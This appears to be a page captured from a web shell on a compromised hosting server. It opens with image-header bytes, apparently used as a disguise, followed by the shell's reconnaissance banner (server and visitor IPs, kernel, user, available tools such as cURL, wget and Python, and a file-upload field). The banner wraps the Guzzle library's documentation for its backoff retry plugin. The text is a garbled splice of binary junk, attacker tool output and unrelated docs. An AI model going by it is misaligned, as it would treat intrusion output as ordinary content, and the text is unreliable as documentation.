����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.14.7.99 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/guzzle/guzzle/docs/plugins/ |
Upload File : |
==================== Backoff retry plugin ==================== The ``Guzzle\Plugin\Backoff\BackoffPlugin`` automatically retries failed HTTP requests using custom backoff strategies: .. code-block:: php use Guzzle\Http\Client; use Guzzle\Plugin\Backoff\BackoffPlugin; $client = new Client('http://www.test.com/'); // Use a static factory method to get a backoff plugin using the exponential backoff strategy $backoffPlugin = BackoffPlugin::getExponentialBackoff(); // Add the backoff plugin to the client object $client->addSubscriber($backoffPlugin); The BackoffPlugin's constructor accepts a ``Guzzle\Plugin\Backoff\BackoffStrategyInterface`` object that is used to determine when a retry should be issued and how long to delay between retries. The above code example shows how to attach a BackoffPlugin to a client that is pre-configured to retry failed 500 and 503 responses using truncated exponential backoff (emulating the behavior of Guzzle 2's ExponentialBackoffPlugin).